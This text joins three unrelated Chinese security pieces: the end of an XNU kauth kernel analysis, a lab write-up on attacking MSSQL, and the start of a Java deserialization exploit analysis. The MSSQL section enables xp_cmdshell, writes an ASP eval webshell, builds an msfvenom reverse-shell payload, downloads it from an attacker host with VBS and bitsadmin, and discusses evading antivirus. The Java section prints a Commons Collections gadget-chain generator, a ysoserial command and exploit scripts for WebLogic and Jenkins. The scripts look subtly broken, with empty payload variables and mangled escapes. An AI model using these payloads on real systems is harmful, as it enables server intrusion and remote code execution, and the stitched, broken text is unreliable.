listener, 调用kauth_add_callback_to_scope将其添加到对应的scope listener数组里。
static int kauth_add_callback_to_scope(kauth_scope_t sp, kauth_listener_t klp)
{
int i；
for (i = 0; i < KAUTH_SCOPE_MAX_LISTENERS; i++) {
if (sp->ks_listeners[i].kll_listenerp == NULL) {
sp->ks_listeners[i].kll_callback = klp->kl_callback;
sp->ks_listeners[i].kll_idata = klp->kl_idata;
sp->ks_listeners[i].kll_listenerp = klp;
sp->ks_flags |= KS_F_HAS_LISTENERS;
return(0);
}
}
return(ENOSPC);
}
内核使用kauth_listen_scope函数注册一个第三方内核扩展listener到一个scope上。
kauth_listener_t
kauth_listen_scope(const char *identifier, kauth_scope_callback_t callback, void *idata)
{
kauth_listener_t klp;
kauth_scope_t sp;
if ((klp = kauth_alloc_listener(identifier, callback, idata)) == NULL)
return(NULL);
KAUTH_SCOPELOCK();
TAILQ_FOREACH(sp, &kauth_scopes, ks_link) {
if (strncmp(sp->ks_identifier, identifier,
strlen(sp->ks_identifier) + 1) == 0) {
if (kauth_add_callback_to_scope(sp, klp) == 0) {
KAUTH_SCOPEUNLOCK();
return(klp);
}
KAUTH_SCOPEUNLOCK();
FREE(klp, M_KAUTH);
return(NULL);
}
}
TAILQ_INSERT_TAIL(&kauth_dangling_listeners, klp, kl_link);
KAUTH_SCOPEUNLOCK();
return(klp);
}
它的注册逻辑也非常简单，首先遍历kauth_scopes链表找到对应的scope，如果找到，就调用kauth_add_callback_to_scope将其加入scope的listener数组里。如果没找到，将这个节点挂接于kauth_dangling_listeners备用链表中，
当需要的scope被注册时，会自动从kauth_dangling_listeners链表中找到这个节点并挂接上去。
在需要监控的内核路径中， 会调用kauth_authorize_action函数。
int
kauth_authorize_action(kauth_scope_t scope, kauth_cred_t credential, kauth_action_t action,
uintptr_t arg0, uintptr_t arg1, uintptr_t arg2, uintptr_t arg3)
{
int result, ret, i;
if (scope->ks_callback != NULL)
result = scope->ks_callback(credential, scope->ks_idata, action, arg0, arg1,
else
result = KAUTH_RESULT_DEFER;
if ((scope->ks_flags & KS_F_HAS_LISTENERS) != 0) {
for (i = 0; i < KAUTH_SCOPE_MAX_LISTENERS; i++) {
ret = scope->ks_listeners[i].kll_callback(
credential, scope->ks_listeners[i].kll_idata,
action, arg0, arg1, arg2, arg3);
if ((ret == KAUTH_RESULT_DENY) ||
(result == KAUTH_RESULT_DEFER))
result = ret;
}
}
return(result == KAUTH_RESULT_ALLOW ? 0 : EPERM);
}
首先它会调用默认的回调函数，然后如果此scope有listener，则将依次调用listener注册的回调函数，
算法有点类似acl评估机制，如果有一个listener拒绝的话就直接返回失败。
#### **1.2.4.2 进程监控**
Kauth在初始化的时候调用kauth_scope_init初始化三个监控类型的scope。
static void
kauth_scope_init(void)
{
kauth_scope_mtx = lck_mtx_alloc_init(kauth_lck_grp, 0 /*LCK_ATTR_NULL*/);
kauth_scope_process = kauth_register_scope(KAUTH_SCOPE_PROCESS, kauth_authorize_process_callback, NULL);
kauth_scope_generic = kauth_register_scope(KAUTH_SCOPE_GENERIC, kauth_authorize_generic_callback, NULL);
kauth_scope_fileop = kauth_register_scope(KAUTH_SCOPE_FILEOP, NULL, NULL);
}
对于进程的监控，注册的默认回调函数为kauth_authorize_process_callback。
static int
kauth_authorize_process_callback(kauth_cred_t credential, __unused void *idata, kauth_action_t action,
uintptr_t arg0, uintptr_t arg1, __unused uintptr_t arg2, __unused uintptr_t arg3)
{
switch(action) {
case KAUTH_PROCESS_CANSIGNAL:
panic("KAUTH_PROCESS_CANSIGNAL not implemented");
if (cansignal(current_proc(), credential, (struct proc *)arg0, (int)arg1))
return(KAUTH_RESULT_ALLOW);
break;
case KAUTH_PROCESS_CANTRACE:
if (cantrace(current_proc(), credential, (proc_t)arg0, (int *)arg1))
return(KAUTH_RESULT_ALLOW);
break;
}
return(KAUTH_RESULT_DEFER);
}
回调函数非常简单，只判断进程是否有trace能力，对于是否能有发送信号的能力，xnu内核开发者估计也没想好，panic函数直接写在了cansignal函数的前面。
#### **1.2.4.3 文件状态监控**
在kauth_scope_init初始化时，并没有对KAUTH_SCOPE_FILEOP类型的scope设置默认回调函数。
static void
kauth_scope_init(void)
{
kauth_scope_fileop = kauth_register_scope(KAUTH_SCOPE_FILEOP, NULL, NULL);
}
在文件状态发生变更的地方，都调用了kauth_authorize_fileop函数，它继而调用kauth_authorize_action函数，由于KAUTH_SCOPE_FILEOP类型的scope没有默认回调函数，它将继续判断是否有加载第三方内核扩展的回调函数。对于文件系统状态监控，开发人员需要自己编写一个内核扩展注册listene回调函数到scope中才行，xnu内核并没有提供默认的内核扩展。
kauth_authorize_fileop函数定义为：
int
kauth_authorize_fileop(kauth_cred_t credential, kauth_action_t action,
uintptr_t arg0, uintptr_t arg1)；
内核在文件系统的不同路径调用它，最后两个参数在不同的调用路径对应不同的意义。内核注释代码中写的很详细：
### **1.2.4.4 文件vnode授权与acl检查**
对于文件vnode监控的kauth scope注册是放在文件系统初始化进行的：
bsd/vfs/vfs_subr.c
void
vnode_authorize_init(void)
{
vnode_scope = kauth_register_scope(KAUTH_SCOPE_VNODE, vnode_authorize_callback, NULL);
}
它注册的callback函数为vnode_authorize_callback。vnode的权限检查包括以下几个：
为了加快检查速度，xnu使用了一个cache机制，在vnode的结构体加入了v_authorized_actions成员，它代表了上一次是做的哪项权限检查，通过调用vnode_cache_is_authorized执行vp->v_authorized_actions
&
action，来判断是否命中上次cache，之后在执行完权限检查后，通过调用vnode_cache_authorized_action执行vp->v_authorized_actions
|= action更新cache。
Xnu将文件系统的acl评估机制也封装到了kauth子系统里。
bsd/sys/kauth.h
struct kauth_acl {
u_int32_t acl_entrycount;
u_int32_t acl_flags;
struct kauth_ace acl_ace[1];
};
acl_entrycount表示的是struct kauth_ace acl_ace数组的大小。
struct kauth_ace {
guid_t ace_applicable;
u_int32_t ace_flags;
kauth_ace_rights_t ace_rights;
};
一个acl entry定义为struct
kauth_ace结构，acl评估的业界通用算法就是从前到后，依次对比每个ace项，如果权限匹配为deny，则直接返回失败，否则进行下一个ace匹配。
在函数vnode_authorize_simple里判断vnode结构的acl链表是否为空，如果不为空则调用kauth_acl_evaluate进行acl权限检查。
* * * | 社区文章 |
# MSSQL：我(蹦蹦跳跳地)来了
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
继上篇文章
《六问MySQL？你敢来挑战吗？》<https://www.anquanke.com/post/id/235236>
笔记的重新的整理，MySQL技能又捡回来了不少。说实话，平时学习运用技能，很多情况都是遇到的MySQL（默认端口号3306），所以对SQL
Server（默认端口号1433）比较陌生了。因此便有这一篇的学习笔记，思想均来自互联网，提供学习参考，如有谬误，敬请指正。
## 0x00 千里之行始于足下
搭建环境是后文实验的前题。但是搭建环境不是本文的重点，所以简要记录一下目标环境的搭建以及会遇到的问题：
（1）待搭建靶场压缩包：
Larryxi前辈的系统：<https://github.com/Larryxi/MSSQL-SQLi-Labs.git>
（2）安装ASP和Windows环境
参考文章：<https://blog.csdn.net/a673216150/article/details/79286130>
（3）配置config.asp文件，忘记sqlserver的sa用户密码
参考链接：<https://jingyan.baidu.com/article/b0b63dbf8465580a4930705a.html>
（4）数据库没有先建立数据库test，导致执行install失败：
如果读者遇到其他安装问题，可自行根据错误信息进行百度或者在下方留言求助。
## 0x01 秤砣虽小能压千斤
### 1、初步判断数据库类型
题外话，之前有小伙伴发出灵魂之问，面对一个网站的注入，怎么判断web后面是什么数据库类型？我当时语塞（面对这个问题，我还真回答不上来），只知道平时感觉差不多是MySQL，随便试试，然后（工具人）再用sqlmap扫一扫。所以针对这个问题，决定补补功课。
**（1）常用的数据库**
MySQL（3306）、SQL server（1433）、Oracle（1521）、PostgreSQL（5432）等等。
**（2）判断方法**
**1）根据前端页面**
①asp: SQL server
②.net：SQL server
③php：MySQL、PostgrrSQL
④java：MySQL、Oracle
通过上面大致判断。
**2）根据扫描端口**
（我在本地搭建了两个系统）
上述端口号是默认端口号，基于网站管理员没有修改默认端口为其他端口。如果修改了，该方式就可能判断不出来。
**3）根据各数据库特有函数**
(目前我就搭建了MySQL和SQL server)
比如以下MySQL和SQL server查询版本函数不一样
MySQL：
`select version();`
`select @[@version](https://github.com/version "@version");`
两条语句都可以执行
SQL server：
`select version();`
`select @[@version](https://github.com/version "@version");`
version()不是内置函数名称
再如MySQL和SQL server的求长度函数
MySQL：
`select length(@[@version](https://github.com/version "@version"))`
`select len(@[@version](https://github.com/version "@version"))`
len()函数不能被识别
SQL server：
`select length(@[@version](https://github.com/version "@version"))`
`select len(@[@version](https://github.com/version "@version"))`
length()函数不能被识别
（下次文章再试试Oracle）
#### 4）根据注释符号
MySQL注释符：
`#`
`--[] (中括号表示空格，必须要添加空格才能使MySQL注释符生效)`
`/**/ 多行注释符`
SQL server注释符：
`-- 有无空格都无所谓`
`/**/ 多行注释符`
#### 5）根据对字符串处理
MySQL：
SQL server：
**6）各个数据库特有表**
MySQL查询不存在的表：
哼！sysobjects（系统自带表）才是我的（SQL server）的菜。
说了这么多
还是实战直接点
判断SQL server数据库
加“#”注释符依旧表示不正常。看来不是MySQL。试试SQL server的注释符“—”(两个横杠)：
Bingo！SQL server！注释符这个套，你是跑不掉的！
不服？再战：
这个数据库表，你总不能否认了吧！（傲娇.jpg）
查看当前数据库，（这个我原来是真的不知道）
在MySQL中，information_schema数据库中存取了数据库名称
在SQL server中，只需要指定函数select db_name(N),N=0时就可以获取当前数据库了
变换n，就可以遍历得到各个数据库名
MySQL和SQL server手工注入还是又很多不一样的
由于篇幅问题，感兴趣的小伙伴自己实操对比一下
推荐链接：<https://www.cnblogs.com/yankaohaitaiwei/p/11809398.html>
### 2、sqlmap
`python sqlmap.py -u "http://localhost:88/less-1.asp?id=1" --dbs`
有哪些数据库
`--os-shell 该参数主要是调用xp_cmdshell执行系统命令。`
`--sql-shell 主要用于是执行数据库语句。`
`python sqlmap.py -u "http://localhost:88/less-1.asp?id=1" --os-shell`
执行系统命令
xp_cmdshell开启，就可以执行系统命令
如果没有开启
在这种情况下，可以测试能否使用—sql-shell进行手动开启xp_cmdshell。
`--开启xp_cmdshell`
`exec sp_configure 'show advanced options', 1;`
`reconfigure;`
`exec sp_configure 'xp_cmdshell', 1;`
`reconfigure;`
`exec sp_configure 'show advanced options', 0;`
`reconfigure;`
`exec master..xp_cmdshell 'whoami'--能执行得到whoami的结果`
`--关闭xp_cmdshell`
`exec sp_configure 'show advanced options', 1;`
`reconfigure;`
`exec sp_configure 'xp_cmdshell', 0;`
`reconfigure;`
`exec sp_configure 'show advanced options', 0;`
`reconfigure;`
`exec master..xp_cmdshell 'whoami'--不能得到whoami的结果`
咋回事？开启不了
（估计是真的开启不了吧？有知道的可以聊一聊）
如果能获得SQL server外链登陆，（网站配置文件泄露、爆破等），可直接远程登陆开启
补充一个小技巧，执行以下语句可获得目标网站的指定盘符或路径得文件：
`exec master.dbo.xp_subdirs 'f:';`
## 0x02 百尺竿头更进一步
在上一步，有了xp_cmdshell可以执行任意命令之后，又获得了目标的web目录，我们的目标就是进一步渗透，实现载荷落地、载荷执行。这里其实可以开一篇文章，但是顺手，就直接写在这里：
### 1、直接写入webshell
获取web目录，单刀直入！
通过上述方法获得web网站（反正我是一个一个找的）：
`f:\7788\MSSQL-SQLi-Labs`
然后可以向该目录写入webshell（< 和 > 需要使用 ^ 进行转义）：
`exec master..xp_cmdshell 'echo ^<%eval request("chopper")%^>
>>f:\\7788\\MSSQL-SQLi-Labs\\shell.asp'`
执行成功之后会在该目录下生成一个webshell：
菜刀连接成功：
（从数据库写入这个一句话木马并没有引起火绒的的安全提示，应该是安全的。）
这里不限于使用一句话木马，还可以冰蝎、蚁剑、哥斯拉等免杀木马一句句echo追加
（注意>>是追加，>是覆盖）
比如试试原生冰蝎木马：
### 2、远程下载载荷
关于这方面的内容，网上有很多不错的方法：
推荐文章：渗透技巧——通过cmd上传文件的N种方法 `https://www.secpulse.com/archives/44450.html`
其中64位win10系统已经不支持在命令窗口中打开debug程序，所以有些方法可能不适用了。
我首先在kali的msf生成一个木马文件：
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xxx.xxx LPORT=443 -f
msi -o msi.txt`
（1）certutil.exe远程下载
怎么说呢？刚下载就露出“马脚”了。
果不其然，马儿没加装饰，就被kill了
所以，各位看官们，免杀才是终极之道，值得深究。Tide团队出文了一系列的免杀文章，可以去看看，但是并不是说那些法子就可以免杀，而是要作为基础，发散思维，综合利用。（奈何今年考研，还没有时间精力深究）
总之，这种方法是可以下载载荷的。
（2）vbs脚本远程下载
将以下代码保存为vbs文件：
`Set Post = CreateObject("Msxml2.XMLHTTP")`
`Set Shell = CreateObject("Wscript.Shell")`
`Post.Open "GET","http://xx.xx.xxx.xxx:8888/msi.txt",0`
`Post.Send()`
`Set aGet = CreateObject("ADODB.Stream")`
`aGet.Mode = 3`
`aGet.Type = 1`
`aGet.Open()`
`aGet.Write(Post.responseBody)`
`aGet.SaveToFile "F:\7788\MSSQL-SQLi-Labs\shell.txt",2`
用上面同样echo的方法一句一句写入：
想当然，这种方法也早就用烂了。又被double kill！
（3）powershell远程下载（这个也是最常用的，也是过不了火绒和360的）
（4）cs脚本远程下载
该脚本也是和vbs的脚本一样，需要一句一句echo，然后执行该cs脚本，远程下载木马。
（5）hta脚本远程下载
和前两种脚本一样，一句一句echo，执行该hta，远程下载木马。（这种似乎平时很少用到，主要是忘记了，不过，过不了WAF）
（6）bitsadmin
bitsadmin是一个命令行工具，可用于创建下载上传进程，如下命令：
`bitsadmin /transfer "test" http://xx.xxxx.xxx:8888/msi.txt F:\7788\MSSQL-SQLi-Labs\shellmsi.txt`
当然，肯定不止这些方法..方法是这些方法，厉害的是那些怎么绕过！（我太菜了）
### 3、执行恶意程序
下载的载荷，需要使用加载器，最好的选择就是“土生土长”，“从内部瓦解”：利用系统自带的程序加载器执行相应的载荷。系统自带的加载器常见的有：
（1）msiexec
就拿刚刚下载shellmsi.txt文件来杀鸡儆猴：
（杀“鸡”失败！）
（2）csc.exe
csc.exe是c#的编译器，在前面下载cs脚本之后，就可以使用该编译器远程下载木马。
（3）powershell.exe
（4）cscript
vbs的编译器，前面的vbs的执行组要用到，执行：
cscript shell.vbs
即可远程下载。
在整个过程中，下载绕过是难关之一，木马免杀又是一道坎儿……怎么绕过、免杀，一直都是网络安全攻防中的话题。运用好了，你就是大佬（膜拜）；没运用好，就是我这样可爱（愣头愣脑）的工具人。
当然，上面讲的都是xp_cmdshell可任意执行命令的情况下的文件落地。无文件落地也是更深一步的技术了，也是如今比较流行的。
这不，有人问我，xp_cmdshell不能开启怎么办？这种情况，那可能就是权限低了？那么找找有不有其他的存储过程可以使用，实在不行，很好呀，新的问题来了，提权？网上有很多奇淫技巧，文章篇幅受限，看官们自己去看看吧！
哦豁！忘记了，忘记还有日志写入shell！
参考链接：
删除xp_cmdshell和恢复xp_cmdshell：<http://www.splaybow.com/post/delete-xpcmdshell-recover.html>
SQL注入之判断数据库：<https://www.cnblogs.com/wangtanzhi/p/13052360.html>
详述MSSQL服务在渗透测试中的利用（上篇） <https://www.cnblogs.com/ichunqiu/p/7249474.html>
详述MSSQL服务在渗透测试中的利用 （下篇） <https://www.cnblogs.com/ichunqiu/p/7249516.html>
Exec OS Command Via MSSQL
<https://evi1cg.me/archives/Exec_OS_Command_Via_MSSQL.html>
sqlmap关于MSSQL执行命令研究 <https://mp.weixin.qq.com/s/U1MaRyNJjiX4yxZt1TW4TA>
MSSQL注入 突破不能堆叠的限制执行系统命令 <https://mp.weixin.qq.com/s/CcgUb7mLlP2xjcrpy5VGbQ>
MSSQL注入DNS带外问题解决 <https://mp.weixin.qq.com/s/xcX7XnIhFjj-r3OKvHH7DQ>
MSSQL绕过360提权实战案例 <https://mp.weixin.qq.com/s/Ch342vyszfhUWSlkJEzMOA>
高级的MSSQL注入技巧 <https://xz.aliyun.com/t/8513>
MSSQL绕过微软杀毒提权案例 <https://mp.weixin.qq.com/s/GceeUFbwsaHUwKQpY6VFkw>
MSSQL数据库攻击实战指北 | 防守方攻略 <https://mp.weixin.qq.com/s/uENvpPan7aVd7MbSoAT9Dg>
MSSQL注入 <https://blog.csdn.net/qq_35569814/article/details/100528187>
数据库集合学习资料 <https://websec.ca/kb/sql_injection>
【SQL注入】之MSSQL注入 <https://www.cnblogs.com/yankaohaitaiwei/p/11809398.html>
Windows无文件落地：<http://t3ngyu.leanote.com/post/Windows-noFile> | 社区文章 |
# Lib之过？Java反序列化漏洞通用利用分析
|
##### 译文声明
本文是翻译文章，文章来源：长亭科技
原文地址：<http://blog.chaitin.com/2015-11-11_java_unserialize_rce/>
译文仅供参考，具体内容表达以及含义原文为准。
1 背景
2 Java反序列化漏洞简介
3 利用Apache Commons Collections实现远程代码执行
4 漏洞利用实例
4.1 利用过程概述
4.2 WebLogic
4.3 Jenkins
4.4 Jboss
4.5 WebSphere
4.6 其它
5 漏洞影响
6 修复建议
7 参考资料
****
**1 背景**
2015年11月6日,FoxGlove Security安全团队的@breenmachine
发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。
然而事实上,博客作者并不是漏洞发现者。博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff
(@frohoff)在AppSecCali上给出了一个报告[5],报告中介绍了Java反序列化漏洞可以利用Apache Commons
Collections这个常用的Java库来实现任意代码执行,当时并没有引起太大的关注,但是在博主看来,这是2015年最被低估的漏洞。
确实,Apache Commons
Collections这样的基础库非常多的Java应用都在用,一旦编程人员误用了反序列化这一机制,使得用户输入可以直接被反序列化,就能导致任意代码执行,这是一个极其严重的问题,博客中提到的WebLogic等存在此问题的应用可能只是冰山一角。
虽然从@gebl和@frohoff的报告到现在已经过去了将近一年,但是@breenmachine的博客中提到的厂商也依然没有修复,而且国内的技术人员对这个问题的关注依然较少。为了帮助大家更好的理解它,尽快避免和修复这些问题,本文对此做了一个深入的漏洞原理和利用分析,最后对上面提到的这些受影响的应用,在全球范围内做一个大概的统计。
**
**
****
**2 Java反序列化漏洞简介**
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,类ObjectInputStream类的readObject()方法用于反列化。下面是将字符串对象先进行序列化,存储到本地文件,然后再通过反序列化进行恢复的样例代码:
public static void main(String args[]) throws Exception {
String obj = "hello world!";
// 将序列化对象写入文件object.db中
FileOutputStream fos = new FileOutputStream("object.db");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件object.db中读取数据
FileInputStream fis = new FileInputStream("object.db");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复对象obj
String obj2 = (String)ois.readObject();
ois.close();
}
问题在于,如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。
所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置Java类型的白名单,那么问题的影响就小了很多。
反序列化问题由来已久,且并非Java语言特有,在其他语言例如PHP和Python中也有相似的问题。@gebl和@frohoff的报告中所指出的并不是反序列化这个问题,而是一些公用库,例如Apache
Commons
Collections中实现的一些类可以被反序列化用来实现任意代码执行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了Apache
Commons
Collections。这种库的存在极大地提升了反序列化问题的严重程度,可以比作在开启了ASLR地址随机化防御的系统中,出现了一个加载地址固定的共享库,或者类似twitter上的评论中的比喻:
image
@breenmachine的博客中将漏洞归咎于Apache Commons Collections这个库,存在一定的误解。
****
**3 利用Apache Commons Collections实现远程代码执行**
参考Matthias Kaiser在11月份的报告[1],我们以Apache Commons Collections
3为例,来解释如何构造对象,能够让程序在反序列化,即调用readObject()时,就能直接实现任意代码执行。
Map类是存储键值对的数据结构,Apache Commons
Collections中实现了类TransformedMap,用来对Map进行某种变换,只要调用decorate()函数,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap,decorate()函数如下:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
Transformer是一个接口,其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示:
public interface Transformer {
public Object transform(Object input);
}
当Map中的任意项的Key或者Value被修改,相应的Transformer就会被调用。除此以外,多个Transformer还能串起来,形成ChainedTransformer。
Apache Commons
Collections中已经实现了一些常见的Transformer,其中有一个可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:
public class InvokerTransformer implements Transformer, Serializable {
...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
只需要传入方法名、参数类型和参数,即可调用任意函数。因此要想任意代码执行,我们可以首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap,然后想办法去触发Map中的MapEntry产生修改(例如setValue()函数),即可触发我们构造的Transformer。
测试代码如下:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("value", "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
当上面的代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:首先通过ConstantTransformer获得Runtime类,进一步通过反射调用getMethod找到invoke函数,最后再运行命令calc.exe。
但是目前的构造还需要依赖于触发Map中某一项去调用setValue(),我们需要想办法通过readObject()直接触发。
我们观察到java运行库中有这样一个类AnnotationInvocationHandler,这个类有一个成员变量memberValues是Map类型,如下所示:
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
...
更令人惊喜的是,AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数,如下所示:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
// 此处触发一些列的Transformer
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
因此,我们只需要使用前面构造的Map来构造AnnotationInvocationHandler,进行序列化,当触发readObject()反序列化的时候,就能实现命令执行。另外需要注意的是,想要在调用未包含的package中的构造函数,我们必须通过反射的方式,综合生成任意代码执行的payload的代码如下:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("value", "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
以上解释了如何通过Apache Commons Collections 3这个库中的代码,来构造序列化对象,使得程序在反序列化时可以立即实现任意代码执行。
我们可以直接使用工具yoserial[2][5]来生成payload,当中包含了4种通用的payload:Apache Commons
Collections 3和4,Groovy,Spring,只要目标应用的Class
Path中包含这些库,yoserial生成的payload即可让readObject()实现任意命令执行。
yoserial当中针对Apache Commons Collections
3的payload也是基于TransformedMap和InvokerTransformer来构造的,而在触发时,并没有采用上文介绍的AnnotationInvocationHandler,而是使用了java.lang.reflect.Proxy中的相关代码来实现触发。此处不再做深入分析,有兴趣的读者可以参考yoserial的源码。
****
**4 漏洞利用实例**
4.1 利用过程概述
首先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。我们可以通过审计源码中对反序列化函数的调用(例如readObject())来寻找,也可以直接通过对应用交互流量进行抓包,查看流量中是否包含java序列化数据来判断,java序列化数据的特征为以标记(ac
ed 00 05)开头。
确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons
Collections库(yoserial所支持的其他库亦可),如果是,就可以使用yoserial来生成反序列化的payload,指定库名和想要执行的命令即可:
java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out
通过先前找到的传入对象方式进行对象注入,数据中载入payload,触发受影响应用中ObjectInputStream的反序列化操作,随后通过反射调用Runtime.getRunTime.exec即可完成利用。
4.2 WebLogic
参照[3]中的方法,对安装包文件grep受影响的类InvokerTransformer:
root@f45f0209fa11:/opt/OracleHome# grep -R InvokerTransformer ./
Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches
接着通过寻找接收外部输入的点,来让我们发送序列化对象。
WebLogic外部只开了一个7001端口,这个端口接受HTTP,T3,SNMP协议,判断协议类型后再把数据路由到内部正确的位置,通过在server上抓包,发现走T3协议时携带了java序列化对象,所以我们只用把这个包文从序列化开始的标记(ac
ed 00 05)后加入payload,重放这个数据,完成利用。
以下是breenmachine的完整利用脚本:
#!/usr/bin/python
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers='t3 12.2.1nAS:255nHL:19nMS:10000000nPU:t3://us-l-breens:7001nn'
print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()
payload=''
print 'sending payload...'
'''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''
sock.send(payload)
在weblogic的利用中,有个小坑是不能破坏原始T3协议数据中包装的java对象。
4.3 Jenkins
Jenkins是一个非常流行的CI工具,在很多企业的内网中都部署了这个系统,这个系统常常和企业的代码相关联,这次也受到了Java反序列化漏洞的影响,非常危险。
同样,通过grep受影响的类InvokerTransformer
root@f45f0209fa11:/usr/share/jenkins# grep -R "InvokerTransformer" ./
Binary file ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar matches
在开放的端口上抓包,定位到Jeenkins的CLI包文中的序列化开始标记(rO0)。 在发送CLI的第一个包文后:
00000000 00 14 50 72 6f 74 6f 63 6f 6c 3a 43 4c 49 2d 63 ..Protoc ol:CLI-c
00000010 6f 6e 6e 65 63 74 onnect
在标记位的地方将base64处理过的payload修改覆盖原始包文中的序列化对象,发包后,完成利用。这里给出一个演示视频:
视频可看这边：<https://asciinema.org/a/5p549p8yo0lqtycx77akpveid>
以下是@breenmachine的完整利用脚本:
#!/usr/bin/python
#usage: ./jenkins.py host port /path/to/payload
import socket
import sys
import requests
import base64
host = sys.argv[1]
port = sys.argv[2]
#Query Jenkins over HTTP to find what port the CLI listener is on
r = requests.get('http://'+host+':'+port)
cli_port = int(r.headers['X-Jenkins-CLI-Port'])
#Open a socket to the CLI port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, cli_port)
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers='x00x14x50x72x6fx74x6fx63x6fx6cx3ax43x4cx49x2dx63x6fx6ex6ex65x63x74'
print 'sending "%s"' % headers
sock.send(headers)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()
payload_b64 = base64.b64encode(payloadObj)
payload=''
print 'sending payload...'
'''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''
sock.send(payload)
4.4 Jboss
